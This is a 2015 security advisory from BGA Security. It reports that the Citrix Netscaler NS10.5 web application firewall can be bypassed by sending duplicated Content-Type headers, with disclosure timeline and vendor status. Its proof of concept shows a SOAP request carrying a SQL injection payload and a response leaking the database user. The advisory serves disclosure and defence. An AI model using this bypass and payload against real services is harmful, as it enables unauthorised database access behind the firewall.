Document Title:
============
Citrix Netscaler NS10.5 WAF Bypass via HTTP Header Pollution

Release Date:
===========
12 Mar 2015

Product & Service Introduction:
========================
Citrix NetScaler AppFirewall is a comprehensive application security solution that blocks known and unknown attacks targeting web and web services applications.

Abstract Advisory Information:
=======================
BGA Security Team discovered an HTTP Header Pollution
vulnerability in Citrix Netscaler NS10.5 (other versions may be vulnerable)

Vulnerability Disclosure Timeline:
=========================
2 Feb 2015  Bug reported to the vendor.
4 Feb 2015  Vendor returned with a case ID.
5 Feb 2015  Detailed info/config given.
12 Feb 2015 Asked about the case.
16 Feb 2015 Vendor returned "investigating ..."
6 Mar 2015  Asked about the case.
6 Mar 2015  Vendor has validated the issue.
12 Mar 2015 There aren't any fix addressing the issue.

Discovery Status:
=============
Published

Affected Product(s):
===============
Citrix Systems, Inc.
Product: Citrix Netscaler NS10.5 (other versions may be vulnerable)

Exploitation Technique:
==================
Remote, Unauthenticated


Severity Level:
===========
High

Technical Details & Description:
========================
It is possible to bypass Netscaler WAF using a method which may be called HTTP Header Pollution. The setup:

    An Apache web server with default configuration on Windows (XAMPP).
    A SOAP web service which has written in PHP and vulnerable to SQL injection.
    Netscaler WAF with SQL injection rules.

First request: ' union select current_user,2# - Netscaler blocks it.

Second request: The same content and an additional HTTP header which is “Content-Type: application/octet-stream”. - It bypasses the WAF but the web server misinterprets it.

Third request: The same content and two additional HTTP headers which are “Content-Type: application/octet-stream” and “Content-Type: text/xml” in that order. The request is able to bypass the WAF and the web server runs it.


Proof of Concept (PoC):
==================
Proof of Concept

Request:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
        <string>' union select current_user, 2#</string> 
   
  </soapenv:Body>
</soapenv:Envelope>

Response:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
   <soap:Body>
      <return xsi:type="xsd:string"> Name: root@localhost </return>
   </soap:Body>
</soap:Envelope>


Solution Fix & Patch:
================
12 Mar 2015 There aren't any fix addressing the issue.

Security Risk:
==========
The risk of the vulnerability above estimated as high.

Credits & Authors:
==============
BGA Bilgi Guvenligi - Onur ALANBEL

Disclaimer & Information:
===================
The information provided in this advisory is provided as it is without any warranty. BGA disclaims all  warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. BGA or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages.
      
Domain:   www.bga.com.tr
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Contact:  bilgi@bga.com.tr
  
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